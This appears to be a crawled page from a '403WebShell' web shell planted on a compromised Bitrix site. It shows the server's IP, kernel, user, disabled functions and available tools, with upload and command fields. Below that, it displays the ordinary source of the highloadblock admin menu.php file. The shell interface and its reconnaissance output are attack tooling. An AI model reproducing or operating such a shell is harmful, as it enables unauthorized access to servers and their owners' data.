%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.104.53
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/highloadblock/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/highloadblock/admin/menu.php
<?php
use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

if (!\Bitrix\Main\Loader::includeModule('highloadblock'))
{
	return false;
}

// items
$items = array();
$res = \Bitrix\Highloadblock\HighloadBlockTable::getList(array(
			'select' => array('*', 'NAME_LANG' => 'LANG.NAME'),
			'order' => array('NAME_LANG' => 'ASC', 'NAME' => 'ASC')
	));
while ($row = $res->fetch())
{
	$items[$row['ID']] = array(
		'text' => $row['NAME_LANG'] != '' ? $row['NAME_LANG'] : $row['NAME'],
		'url' => 'highloadblock_rows_list.php?ENTITY_ID='.$row['ID'].'&lang='.LANG,
		'module_id' => 'highloadblock',
		'more_url' => Array(
			'highloadblock_row_edit.php?ENTITY_ID='.$row['ID'],
			'highloadblock_entity_edit.php?ID='.$row['ID']
		),
	);
}

// check rights
if (!$USER->isAdmin() && !empty($items))
{
	$rights = \Bitrix\HighloadBlock\HighloadBlockRightsTable::getOperationsName(array_keys($items));
	if (!empty($rights))
	{
		foreach ($items as $hlId => $item)
		{
			if (!isset($rights[$hlId]))
			{
				unset($items[$hlId]);
			}
		}
	}
	else
	{
		return false;
	}
}

// export / import
if ($USER->isAdmin())//@todo add access
{
	$ieItems = array();
	$ieItems[] = array(
		'text' => Loc::getMessage('HLBLOCK_ADMIN_MENU_IMPORT'),
		'url' => 'highloadblock_import.php?lang='.LANG,
		'module_id' => 'highloadblock',
		'items_id' => 'highloadblock_import',
	);
	if (!empty($items))
	{
		$ieItems[] = array(
			'text' => Loc::getMessage('HLBLOCK_ADMIN_MENU_EXPORT'),
			'url' => 'highloadblock_export.php?lang='.LANG,
			'module_id' => 'highloadblock',
			'items_id' => 'menu_highloadblock_export',
		);
	}
	$items[] = array(
		'text' => Loc::getMessage('HLBLOCK_ADMIN_MENU_IE'),
		'url' => '',
		'module_id' => 'highloadblock',
		'items_id' => 'highloadblock_tools',
		'items' => $ieItems,
		'more_url' => array(
			'highloadblock_import.php',
			'highloadblock_export.php'
		)
	);
}

// menu
if (!empty($items))
{
	return array(
		'parent_menu' => 'global_menu_content',
		'section' => 'highloadblock',
		'sort' => 350,
		'text' => Loc::getMessage('HLBLOCK_ADMIN_MENU_TITLE'),
		'url' => $USER->isAdmin() ? 'highloadblock_index.php?lang='.LANGUAGE_ID : '',
		'icon' => 'highloadblock_menu_icon',
		'page_icon' => 'highloadblock_page_icon',
		'more_url' => array(
			'highloadblock_entity_edit.php',
			'highloadblock_rows_list.php',
			'highloadblock_row_edit.php'
		),
		'items_id' => 'menu_highloadblock',
		'items' => $items
	);
}
else
{
	return false;
}

Youez - 2016 - github.com/yon3zu
LinuXploit